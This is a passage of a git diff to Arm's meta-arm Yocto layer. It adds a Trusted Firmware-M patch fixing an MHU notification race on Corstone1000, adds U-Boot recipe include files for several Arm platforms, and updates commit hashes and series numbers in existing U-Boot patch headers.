--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0009-platform-corstone1000-fix-synchronization-issue-on-o.patch
@@ -0,0 +1,50 @@
+From b70dd14eed59d7c5833ded8469cf99e631951e14 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Wed, 15 Nov 2023 09:52:19 +0000
+Subject: [PATCH] platform: corstone1000: fix synchronization issue on openamp
+ notification
+
+This fixes a race that is observed rarely in the FVP. It occurs in FVP
+when tfm sends the notication ack in openamp, and then reset the access
+request which resets the mhu registers before received by the host
+processor. This solution introduces polling on the status register of
+mhu until the notificaiton is read by the host processor. (Inspired by
+signal_and_wait_for_signal function in mhu_wrapper_v2_x.c in trusted-firmware-m
+https://git.trustedfirmware.org/TF-M/trusted-firmware-m.git/tree/platform/ext/target/arm/rss/common/native_drivers/mhu_wrapper_v2_x.c#n61)
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Pending [Not submitted to upstream yet]
+---
+ .../corstone1000/openamp/platform_spe_dual_core_hal.c | 9 ++++++++-
+ 1 file changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/platform/ext/target/arm/corstone1000/openamp/platform_spe_dual_core_hal.c b/platform/ext/target/arm/corstone1000/openamp/platform_spe_dual_core_hal.c
+index 7613345ffc..b58088032f 100644
+--- a/platform/ext/target/arm/corstone1000/openamp/platform_spe_dual_core_hal.c
++++ b/platform/ext/target/arm/corstone1000/openamp/platform_spe_dual_core_hal.c
+@@ -83,7 +83,7 @@ enum tfm_plat_err_t tfm_dual_core_hal_init(void)
+
+ enum tfm_plat_err_t tfm_hal_notify_peer(void)
+ {
+- uint32_t access_ready;
++ uint32_t access_ready,val;
+ enum mhu_v2_x_error_t status;
+ struct mhu_v2_x_dev_t* dev = &MHU1_SE_TO_HOST_DEV;
+
+@@ -108,6 +108,13 @@ enum tfm_plat_err_t tfm_hal_notify_peer(void)
+ return TFM_PLAT_ERR_SYSTEM_ERR;
+ }
+
++ do {
++ status = mhu_v2_x_channel_poll(dev, MHU1_SEH_NOTIFY_CH, &val);
++ if (status != MHU_V_2_X_ERR_NONE) {
++ break;
++ }
++ } while(val != 0);
++
+ status = mhu_v2_x_reset_access_request(dev);
+ if (status != MHU_V_2_X_ERR_NONE) {
+ SPMLOG_ERRMSGVAL("mhu_v2_x_reset_access_request : ", status);
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m-corstone1000.inc b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m-corstone1000.inc
index 601d165236..7cf3b944bf 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m-corstone1000.inc
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m-corstone1000.inc
@@ -34,6 +34,9 @@ SRC_URI:append:corstone1000 = " \
file://0004-arm-trusted-firmware-m-disable-fatal-warnings.patch \
file://0005-Platform-corstone1000-add-unique-firmware-GUID.patch \
file://0006-Platform-Corstone1000-Enable-Signed-Capsule.patch \
+ file://0007-platform-corstone1000-increase-ITS-max-asset-size.patch \
+ file://0008-platform-corstone1000-align-capsule-update-structs.patch \
+ file://0009-platform-corstone1000-fix-synchronization-issue-on-o.patch \
"
# TF-M ships patches for external dependencies that needs to be applied
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-corstone1000.inc b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-corstone1000.inc
new file mode 100644
index 0000000000..b6b7a04fce
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-corstone1000.inc
@@ -0,0 +1,63 @@
+# Corstone1000 specific U-boot support
+
+DEPENDS:append = " gnutls-native openssl-native efitools-native"
+CORSTONE1000_DEVICE_TREE:corstone1000-mps3 = "corstone1000-mps3"
+CORSTONE1000_DEVICE_TREE:corstone1000-fvp = "corstone1000-fvp"
+EXTRA_OEMAKE:append = ' DEVICE_TREE=${CORSTONE1000_DEVICE_TREE}'
+
+SYSROOT_DIRS:append = " /boot"
+
+SRC_URI:append = " \
+ file://0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch \
+ file://0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch \
+ file://0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch \
+ file://0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch \
+ file://0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch \
+ file://0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch \
+ file://0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch \
+ file://0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch \
+ file://0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch \
+ file://0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch \
+ file://0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch \
+ file://0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch \
+ file://0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch \
+ file://0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch \
+ file://0015-efi_firmware-add-get_image_info-for-corstone1000.patch \
+ file://0016-efi_loader-fix-null-pointer-exception-with-get_image.patch \
+ file://0017-arm-corstone1000-add-mmc-for-fvp.patch \
+ file://0018-corstone1000-add-compressed-kernel-support.patch \
+ file://0019-arm-corstone1000-esrt-support.patch \
+ file://0020-corstone1000-enable-distro-booting-command.patch \
+ file://0021-corstone1000-add-fwu-metadata-store-info.patch \
+ file://0022-fwu_metadata-make-sure-structures-are-packed.patch \
+ file://0023-corstone1000-add-boot-index.patch \
+ file://0024-corstone1000-adjust-boot-bank-and-kernel-location.patch \
+ file://0025-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch \
+ file://0026-nvmxip-move-header-to-include.patch \
+ file://0027-corstone1000-set-kernel_addr-based-on-boot_idx.patch \
+ file://0028-corstone1000-boot-index-from-active.patch \
+ file://0029-corstone1000-enable-PSCI-reset.patch \
+ file://0030-Enable-EFI-set-get-time-services.patch \
+ file://0031-corstone1000-detect-inflated-kernel-size.patch \
+ file://0032-corstone1000-ESRT-add-unique-firmware-GUID.patch \
+ file://0033-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch \
+ file://0034-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch \
+ file://0035-corstone1000-purge-U-Boot-specific-DT-nodes.patch \
+ file://0036-corstone1000-add-signature-device-tree-overlay.patch \
+ file://0037-corstone1000-enable-authenticated-capsule-config.patch \
+ file://0038-corstone1000-introduce-EFI-authenticated-capsule-upd.patch \
+ file://0039-enables-ondisk-capsule-update-feature.patch \
+ file://0040-fix-runtime-capsule-update-flags-checks.patch \
+ file://0041-scatter-gather-flag-workaround.patch \
+ file://0042-corstone1000-enable-virtio-net-support.patch \
+ "
+
+do_configure:append(){
+ openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=CRT/ -keyout ${B}/CRT.key -out ${B}/CRT.crt -nodes -days 365
+ cert-to-efi-sig-list ${B}/CRT.crt ${B}/corstone1000_defconfig/CRT.esl
+}
+
+do_install:append() {
+ install -D -p -m 0644 ${B}/CRT.crt ${DEPLOY_DIR_IMAGE}/corstone1000_capsule_cert.crt
+ install -D -p -m 0644 ${B}/CRT.key ${DEPLOY_DIR_IMAGE}/corstone1000_capsule_key.key
+}
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-fvp-base.inc b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-fvp-base.inc
new file mode 100644
index 0000000000..b766181bed
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-fvp-base.inc
@@ -0,0 +1,8 @@
+# FVP base specific U-boot support
+
+SRC_URI:append = " \
+ file://0001-virtio-rng-Workaround-for-FVP-returning-zero-size-bu.patch \
+ file://0002-vexpress64-Set-the-DM_RNG-property.patch \
+ file://0003-vexpress64-Select-PSCI-RESET-by-default.patch \
+ file://0004-vexpress64-Imply-CONFIG_ARM64_CRC32-by-default.patch \
+ "
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-juno.inc b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-juno.inc
new file mode 100644
index 0000000000..e49d87c2e2
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-juno.inc
@@ -0,0 +1,3 @@
+# Juno specific U-boot support
+
+SRC_URI:append = " file://0001-configs-vexpress-modify-to-boot-compressed-initramfs.patch"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-tc.inc b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-tc.inc
new file mode 100644
index 0000000000..ca182c557c
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-tc.inc
@@ -0,0 +1,5 @@
+# TC0 and TC1 specific U-boot support
+
+SRC_URI:append = " \
+ file://bootargs.cfg \
+ "
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch
index df633e2faf..485ed4ba5d 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch
@@ -1,7 +1,7 @@
-From b79722ade56bd49cf9e7d9b47b6256599c8cdb36 Mon Sep 17 00:00:00 2001
+From 6b7a5bff8d68b191569557b6444e2c5061af8074 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Fri, 29 Jul 2022 13:06:19 +0100
-Subject: [PATCH 01/33] FF-A v15: arm64: smccc: add support for SMCCCv1.2
+Subject: [PATCH 01/38] FF-A v15: arm64: smccc: add support for SMCCCv1.2
x0-x17 registers
add support for x0-x17 registers used by the SMC calls
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch
index 550be6be1f..ebb2b55663 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch
@@ -1,7 +1,7 @@
-From 43137871fcc46513eea1480cd78ad091763578f0 Mon Sep 17 00:00:00 2001
+From faa2a74ce8cc9497c551b1bee6beed5c2c2f2dee Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Thu, 4 Aug 2022 16:46:47 +0100
-Subject: [PATCH 02/33] FF-A v15: lib: uuid: introduce uuid_str_to_le_bin
+Subject: [PATCH 02/38] FF-A v15: lib: uuid: introduce uuid_str_to_le_bin
function
convert UUID string to little endian binary data
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch
index bbd4e04824..dbdf296240 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch
@@ -1,7 +1,7 @@
-From 80fd758cb55f8b44078b4535284ea132b0d5a944 Mon Sep 17 00:00:00 2001
+From fa4a5b45d0254e347ba15992d997529f5056fe8f Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 27 Mar 2023 16:24:29 +0100
-Subject: [PATCH 03/33] FF-A v15: lib: uuid: introduce testcase for
+Subject: [PATCH 03/38] FF-A v15: lib: uuid: introduce testcase for
uuid_str_to_le_bin
provide a test case
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch
index f0d67639fc..e2c9d86e81 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch
@@ -1,7 +1,7 @@
-From e8b71ec24884a0c973ac663e6802ff529a8be349 Mon Sep 17 00:00:00 2001
+From 6a50d03467b70220b615dbe87b4b49d7f86fcb2f Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 17 Jul 2023 15:11:43 +0100
-Subject: [PATCH 04/33] FF-A v15: arm_ffa: introduce Arm FF-A support
+Subject: [PATCH 04/38] FF-A v15: arm_ffa: introduce Arm FF-A support
Add Arm FF-A support implementing Arm Firmware Framework for Armv8-A v1.0
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch
index aeb4bb908a..0a4f4c9dbd 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch
@@ -1,7 +1,7 @@
-From 3eb4fb19777383f5f05b7ce74da141f53ffc4374 Mon Sep 17 00:00:00 2001
+From 2d225908fde28c9759fae7a9fdce6bb8c39ec579 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Wed, 10 May 2023 17:27:01 +0100
-Subject: [PATCH 05/33] FF-A v15: arm_ffa: introduce armffa command
+Subject: [PATCH 05/38] FF-A v15: arm_ffa: introduce armffa command
Provide armffa command showcasing the use of the U-Boot FF-A support
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch
index 4f94b72228..13ea227544 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch
@@ -1,7 +1,7 @@
-From 4f104ef6804ffd6483d166840d113630be85edb0 Mon Sep 17 00:00:00 2001
+From 8b24115d3b41af53602bfc80bea7e134dc0edefb Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 17 Jul 2023 15:18:58 +0100
-Subject: [PATCH 06/33] FF-A v15: arm_ffa: introduce sandbox FF-A support
+Subject: [PATCH 06/38] FF-A v15: arm_ffa: introduce sandbox FF-A support
Emulate Secure World's FF-A ABIs and allow testing U-Boot FF-A support
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch
index 966c32bdec..7233079397 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch
@@ -1,7 +1,7 @@
-From 00d0d8edf47430e3069e7c1dfa7a5bb7bb36bd49 Mon Sep 17 00:00:00 2001
+From 9c789dbc70d58f55c84cc02ac35783af0aae85d5 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Wed, 10 May 2023 17:34:55 +0100
-Subject: [PATCH 07/33] FF-A v15: arm_ffa: introduce sandbox test cases for
+Subject: [PATCH 07/38] FF-A v15: arm_ffa: introduce sandbox test cases for
UCLASS_FFA
Add functional test cases for the FF-A support
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch
index 05b5e4d1ab..5d70db68cb 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch
@@ -1,7 +1,7 @@
-From 78547a9f322b981a93bbeeb48b3eda1d2ab35cd0 Mon Sep 17 00:00:00 2001
+From 95589fd6c92d41aa22d30a34193006216c6ee827 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Fri, 23 Jun 2023 13:44:10 +0100
-Subject: [PATCH 08/33] FF-A v15: arm_ffa: introduce armffa command Sandbox
+Subject: [PATCH 08/38] FF-A v15: arm_ffa: introduce armffa command Sandbox
test
Add Sandbox test for the armffa command
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch
index bd75bc1d37..6f663fab12 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch
@@ -1,7 +1,7 @@
-From 342844c2a5ad6beb127e1e8e52b311df77cff472 Mon Sep 17 00:00:00 2001
+From 02e38e24676d48d8a792ab6631a903ae1faa6271 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 15 Aug 2022 15:12:49 +0100
-Subject: [PATCH 09/33] FF-A v15: arm_ffa: efi: introduce FF-A MM communication
+Subject: [PATCH 09/38] FF-A v15: arm_ffa: efi: introduce FF-A MM communication
Add MM communication support using FF-A transport
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch
index 4dcec1dc39..bc71b9462e 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch
@@ -1,7 +1,7 @@
-From 79e941be83a7394d03b09c618c8e2924ef962d64 Mon Sep 17 00:00:00 2001
+From c726c9ff098e4b271d60856b462f3dc532763a03 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 17 Jul 2023 15:23:33 +0100
-Subject: [PATCH 10/33] FF-A v15: arm_ffa: efi: corstone1000: enable MM
+Subject: [PATCH 10/38] FF-A v15: arm_ffa: efi: corstone1000: enable MM
communication
turn on EFI MM communication
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch
index d2c440c828..00d6ea7276 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch
@@ -1,7 +1,7 @@
-From 90b2741149a538c93aed61522c0d3363351bd578 Mon Sep 17 00:00:00 2001
+From 4483f276e70afdd961449ac45d4d8121c2a9080c Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 17 Jul 2023 15:56:18 +0100
-Subject: [PATCH 11/33] efi: corstone1000: fwu: introduce EFI capsule update
+Subject: [PATCH 11/38] efi: corstone1000: fwu: introduce EFI capsule update
This commit provides capsule update feature for Corstone1000.
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch
index f9fb70b50d..023d53c2fa 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch
@@ -1,7 +1,7 @@
-From 445dfd4a5d8f31a7efb3f2f15aa677de8b3eb602 Mon Sep 17 00:00:00 2001
+From 7844378788f308f3540c5eb10956c84113005fcc Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Fri, 4 Mar 2022 15:56:09 +0000
-Subject: [PATCH 12/33] arm: corstone1000: fix unrecognized filesystem type
+Subject: [PATCH 12/38] arm: corstone1000: fix unrecognized filesystem type
Some usb sticks are not recognized by usb, just add a
delay before checking status.
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch
index 4ddb35ea54..71cdf6ac95 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch
@@ -1,7 +1,7 @@
-From 68248cd3cc95e0480ee2cbc3ebaba51967889199 Mon Sep 17 00:00:00 2001
+From 94e6c1dee044b3573991e48449de9144cfe3c0f3 Mon Sep 17 00:00:00 2001
From: Vishnu Banavath <vishnu.banavath@arm.com>
Date: Sat, 11 Dec 2021 13:23:55 +0000
-Subject: [PATCH 13/33] efi_loader: corstone1000: remove guid check from
+Subject: [PATCH 13/38] efi_loader: corstone1000: remove guid check from
corstone1000 config option
Use generic fmp guid and no separte check is required for
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch
index c0b3fa82a4..9d3cb666a3 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch
@@ -1,7 +1,7 @@
-From bb0eb602d3697384318cac90605259aa7fb21c9b Mon Sep 17 00:00:00 2001
+From 9be08ccf3f7b30b2c57ff2eb593c5b17c967fc4a Mon Sep 17 00:00:00 2001
From: Vishnu Banavath <vishnu.banavath@arm.com>
Date: Fri, 17 Dec 2021 19:49:02 +0000
-Subject: [PATCH 14/33] efi_loader: populate ESRT table if EFI_ESRT config
+Subject: [PATCH 14/38] efi_loader: populate ESRT table if EFI_ESRT config
option is set
This change is to call efi_esrt_populate function if CONFIG_EFI_ESRT
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0015-efi_firmware-add-get_image_info-for-corstone1000.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0015-efi_firmware-add-get_image_info-for-corstone1000.patch
index 2186330ebe..c74c7c03e8 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0015-efi_firmware-add-get_image_info-for-corstone1000.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0015-efi_firmware-add-get_image_info-for-corstone1000.patch
@@ -1,7 +1,7 @@
-From 5e12999d179e84ac52e242d56c57a4d429651124 Mon Sep 17 00:00:00 2001
+From 03fe979677509f974b8d56097fbbd6c7e4cbe20b Mon Sep 17 00:00:00 2001
From: Vishnu Banavath <vishnu.banavath@arm.com>
Date: Fri, 17 Dec 2021 19:50:25 +0000
-Subject: [PATCH 15/33] efi_firmware: add get_image_info for corstone1000
+Subject: [PATCH 15/38] efi_firmware: add get_image_info for corstone1000
This change is to populate get_image_info which eventually
will be populated in ESRT table
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0016-efi_loader-fix-null-pointer-exception-with-get_image.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0016-efi_loader-fix-null-pointer-exception-with-get_image.patch
index b58c1d7911..655e014224 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0016-efi_loader-fix-null-pointer-exception-with-get_image.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0016-efi_loader-fix-null-pointer-exception-with-get_image.patch
@@ -1,7 +1,7 @@
-From 957e88fc52d77e6a3024f06bebfaa713c9e99e59 Mon Sep 17 00:00:00 2001
+From 13bf700129e902ba7ae556babcfb9c7956f32571 Mon Sep 17 00:00:00 2001
From: Vishnu Banavath <vishnu.banavath@arm.com>
Date: Fri, 14 Jan 2022 15:24:18 +0000
-Subject: [PATCH 16/33] efi_loader: fix null pointer exception with
+Subject: [PATCH 16/38] efi_loader: fix null pointer exception with
get_image_info
get_img_info API implemented for corstone1000 target does not
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0017-arm-corstone1000-add-mmc-for-fvp.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0017-arm-corstone1000-add-mmc-for-fvp.patch
index 75fe64c2c3..dd746d9116 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0017-arm-corstone1000-add-mmc-for-fvp.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0017-arm-corstone1000-add-mmc-for-fvp.patch
@@ -1,7 +1,7 @@
-From 61b5f50718431b5fff57fcaa924238135b11ed3c Mon Sep 17 00:00:00 2001
+From e07a03678e72afa7a5d2ab66ce2e1a21e0a73cfc Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
